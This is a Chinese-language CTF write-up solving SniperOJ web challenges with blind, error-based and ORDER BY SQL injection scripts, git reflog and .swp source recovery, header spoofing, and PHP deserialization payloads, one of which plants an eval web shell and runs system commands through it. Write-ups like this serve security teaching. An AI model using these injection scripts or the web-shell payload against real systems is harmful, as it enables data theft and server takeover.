Sniper-OJ 练习平台多题WriteUp

时间:2022-04-27
本文章向大家介绍Sniper-OJ 练习平台多题WriteUp,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

题目

### 图书管理系统(200)
### as fast as you can(50)
### md5-vs-injection(50)
### 2048(200)
### very-hard-injection(350)
### inject-again(300)
### SniperOJ-Web-Browser(150)
### guess the code(300)
### php-object-injection(200)

### 图书管理系统(200)

刚看到这个题的时候把各个页面的源码都看了一遍(本还以为是hash长度拓展攻击)

最后发现落点还是在注入,在登录页面做了一下尝试:

发现用户名这里,

如果正确,则返回密码错误

如果错误,则返回登录成功的信息

于是找到了盲注点,开始测试过滤:

发现ascii,select,substr……等等都可以使用

但是from似乎被过滤了,于是尝试了一下内联注释绕过:`/*!from*/`

发现成功,于是开始写脚本构造:

先爆库:

con = "sky' or ascii(substr((select database()),%d,1))=%s#"%(i,j)

可以得到库名为:`software`

再爆表

con = "sky' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),%d,1))=%s#"%(i,j)

可以得到表名为:

`books,flag,records,users`

显然flag肯定在flag表里

再爆字段

con = "sky' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c34343467),%d,1))=%s#"%(i,j)

可以得到字段名为:`fl4g`

最后出flag

`con = "sky' or ascii(substr((select fl4g /*!from*/ flag),%s,1))=%s#"%(i,j)`

可以得到flag为:`SniperOJ{Can_You_See_My_Heart}`

脚本如下:

python

#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
flag = ''
for i in range(1,40):
    for j in range(33,127):
        url = 'http://web.sniperoj.cn:10009/src/API/login.php'
        # con = "sky' or ascii(substr((select database()),%d,1))=%s#"%(i,j)
        # con = "sky' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),%d,1))=%s#" % (
        # i, j)
        # con = "sky' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c6167),%d,1))=%s#"%(i,j)
        con = "sky' or ascii(substr((select fl4g /*!from*/ flag),%s,1))=%d#"%(i,j)
        # print con
        data = {'username': con,
                'password':'sky',
                'submit':'%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2'}
        s=requests.post(url=url,data=data)
        if "密码错误" in s.content:
            flag += chr(j)
            print flag
            break
print flag

### as fast as you can(50)

此类题目做了n遍了,显然是用python程序,对header进行处理,然后发送request,得到flag,于是迅速写了一下脚本:

python

import requests
from base64 import b64decode
s=requests.Session()
a=s.get('http://web.sniperoj.cn:10003/')
bs=a.headers['Get-flag']
flag=b64decode(bs)
payload={'SniperOJ':flag}
r=s.post('http://web.sniperoj.cn:10003/',data=payload)
print r.text

运行即可得到flag:`SniperOJ{faster_faster_faster_2333}`

### md5-vs-injection(50)

题目提示,只有管理员登录才可以登录

然后看到header里有提示:

select * from users where username='admin' and password='md5($password, true)

随后搜了一下

`md5($password, true)`

参考链接:`http://blog.csdn.net/greyfreedom/article/details/45846137`

可以知道密码用`ffifdyop`即可

于是登录:

`username=admin&password=ffifdyop`

可以拿到flag:`SniperOJ{md5_V5_injection}`

### 2048(200)

先是发现.git泄露,用工具:`https://github.com/WangYihang/GitHacker`

指令:`python GitHacker.py http://web2.sniperoj.cn:10000/.git/`

拿下源码后发现没什么特别的东西,后来经过大佬提示,用`git reflog`指令查看以往操作

3465ee8 HEAD@{0}: reset: moving to 3465ee8

3621550 HEAD@{1}: commit: Add my fancy 2048 game

007081d HEAD@{2}: reset: moving to 007081d370ec45fe10628304e5abe010903a9a16

3465ee8 HEAD@{3}: commit: Add my secret

007081d HEAD@{4}: commit (initial): Add README.md

发现`3465ee8 HEAD@{3}: commit: Add my secret`相当可疑

使用恢复指令:

`git reset --hard 3465ee8`

可以将my secret恢复

然后使用读指令:`git show 3465ee8`

得到:

commit 3465ee873ad8b3480c8dab9620878faca17d68d5
Author: WangYihang <wangyihanger@gmail.com>
Date:   Tue Apr 18 17:20:27 2017 +0800
    Add my secret
diff --git a/flag b/flag
new file mode 100644
index 0000000..8ef9efa
--- /dev/null
+++ b/flag
@@ -0,0 +1 @@
+SniperOJ{G1g_reflog_us34444}

很明显看到了flag:`SniperOJ{G1g_reflog_us34444}`

所以说学习.git相当重要(= =不仅能做题,还能做开发)

### very-hard-injection(350)

拿到题目刚开始比较懵,但是看见网页里有信息:

第一个:

`UPDATE `$_GET['table']` SET `username`='admin' WHERE `id`=1;`

第二个:

`?table=users`

第三个:

`Incorrect table name ''`

结合第一个,参数应该是table,请求方式为GET

结合第二个,应该参数是/?table=users

尝试了一下,果然是存在该表,然后思考如何注入

从第一个信息可以得知,我们传入的信息都被直接UPDATA了,没有过滤

于是可以注入,由于此处用的是`,所以先尝试一下:

`http://web.sniperoj.cn:10008/?table=users``

得到报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '`='admin' WHERE id=1' at line 1

看来有戏,但是这里不是查询语句了,所以注入有些麻烦

可以参考这篇链接:`http://blog.csdn.net/ysynhtt/article/details/45115849`

(我记得这种手法应该在上次陕西杯遇见过= =)

先爆库:

http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select database()),0x7e))a)b on b.a=`username

得到库名:`SniperOJ`

先爆表:

http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))a)b on b.a=`username

得到表名:

`flagggggg,users`

很明显flag应该在表flagggggg里

爆字段:

http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name=0x666c61676767676767),0x7e))a)b on b.a=`username

得到字段名:

`id,flag`

最后拿flag:

http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select flag from flagggggg),0x7e))a)b on b.a=`username

得到flag:`SniperOJ{XXXXXPath___!!!_A}`

### inject-again(300)

按题目提示,先把username和password写上去:

`http://web2.sniperoj.cn:10004/?username&password`

得到信息:Flag is the password of admin!

所以接下来的思路应该是拿admin的password,肯定是注入了

然后根据题目观察来看,应该是一道盲注题,但是我尝试了一些姿势,但是不太懂为何我的payload不能照我预期进行,我也进行了本地测试,但是本地是成功的……所以很郁闷,所以引用了网上别的的脚本:

python

#!/usr/bin/python
# coding:utf-8
import requests
def makeStr(begin,end):
    str=""
    for i in range(begin,end):
        str+=chr(i)
    return str
def getPassword():
    url="http://web2.sniperoj.cn:10004/index.php?username="
    testStr = makeStr(48,127)
    #print testStr
    username = "admin' union distinct select 1,2,0x{hex} order by 3 desc%23&password=1"
    flag = ""
    for  _  in range(32):
        for i in testStr:
            data = username.format(hex=(flag+i).encode('hex'))
            #print data
            res = requests.post(url+data)
            if "admin" not in res.text:
                flag= flag+chr(ord(i)-1)
                print flag
                break
if __name__== '__main__':
    getPassword()

可见这是一个排序注入的题,还是挺常见的方法

运行脚本:

可以得到密码的md5值为:`498c67b7c86b01bd68ab5cbafd245b1c`

解密即可得到密码:`sniperoj`

故此得到flag:`SniperOJ{sniperoj}`

但是还是很不甘心我自己的payload,等我弄懂了要额外写一篇文章分析一下……

### SniperOJ-Web-Browser(150)

前面都是比较常规的,用burp改包都可以过(浏览器名,XFF)

然后后面有一个只可以用23333端口访问,改包是没办法的,必须要有一个公网IP(好像汪神平台也有类似题)

所以我是在服务器上直接用了curl命令:

curl http://web2.sniperoj.cn:10005/ --header 'X-Forwarded-For:127.0.0.1' --header 'User-Agent:SniperOJ-Web-Broswer' --local-port 23333

即可得到flag:`SniperOJ{hyper_t3xt_tran5fer_pr0t0cOl}`

### guess the code(300)

拿到题目后一番测试……发现还可以弹窗,差点以为是xss,后来看见题目里写了是反序列化,然后我就开始找源码泄露……

我擦嘞,用了各种扫描泄露的工具都找不到泄露,后来问了大佬,大佬让我细心点……

结果阴差阳错的我把滚动栏拉到了最下面…………看见了源码(内心一万只草泥马路过):

<p hidden>#try to read flag.php      
Class whatthefuck{
       public function __toString()
       {
              return highlight_file($this->source,true);
       }
}</p>
```

然后就是构造序列化了:

```php
<?php
Class whatthefuck{
       public function __toString()
       {
              return highlight_file($this->source,true);
       }
}
$sky = new whatthefuck();
$sky->source = 'flag.php';
$sky2 = new whatthefuck();
$sky2->source = $sky;
echo serialize($sky2);
?>

得到

`O:11:"whatthefuck":1:{s:6:"source";O:11:"whatthefuck":1:{s:6:"source";s:8:"flag.php";}}`

但是这样直接用肯定序列化会被截断,所以用了url编码:

%4f%3a%31%31%3a%22%77%68%61%74%74%68%65%66%75%63%6b%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%4f%3a%31%31%3a%22%77%68%61%74%74%68%65%66%75%63%6b%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%38%3a%22%66%6c%61%67%2e%70%68%70%22%3b%7d%7d

然后放入cookie里的list,即可拿到Flag:`SniperOJ{85262fb1410766c53bdfe51d15b6c4e342d3d514}`

### php-object-injection(200)

首先根据提示:

`Fuck, the powerline was suddenly cut off last night.`

可见可能存在swp泄露(因为断电,应该会自动备份)

访问`http://web2.sniperoj.cn:10007/.index.php.swp`

即可下载源码,用vim恢复一下,即可拿到源码

后发现是一道反序列化的题目,这里只需要自己构造一个类

脚本如下:

php

<?php
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
        function __construct($file){
            // initialise variables
            $this->initMsg = "";
            $this->exitMsg = '<?php @eval($_POST[sky]);?>';
            $this->logFile = "/var/www/html/img/shell.php";
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."n");
            fclose($fd);
        }                      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                      
    }
    $fake = new Logger('skyiscool');
    echo base64_encode(serialize($fake));

生成一串序列化:

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoyNzoiL3Zhci93d3cvaHRtbC9pbWcvc2hlbGwucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MDoiIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6Mjc6Ijw/cGhwIEBldmFsKCRfUE9TVFtza3ldKTs/PiI7fQ==

用Burp把其放入cookie中的drawing

当反序列化执行这个类的结束的时候,会自动执行里面的函数`function __destruct()`

,这样就成功将我们的shell写入了规定的路径的文件中

但是我的菜刀好像连不上,所以只能手工写入

第一步:`sky=system('ls');`

natas26_7nvblih9t0q1vap3bb1j1kn2c3.png

natas26_iddhdn7gigej0fsif59ol1sdm1.png

shell.php

发现没有什么东西

第二步:`sky=system('ls ..');`

F_LLLLA_-gggg

img

index.php

看到了flag

第三步:`sky=system('cat ../F_LLLLA_-gggg');`

SniperOJ{761f3235f57b6664ac9eb2518edc1478}

即可拿到Flag

这个题可以说是一个比较经典的反序列化漏洞的题目(运用了魔术函数,实现了文件的替换或者控制)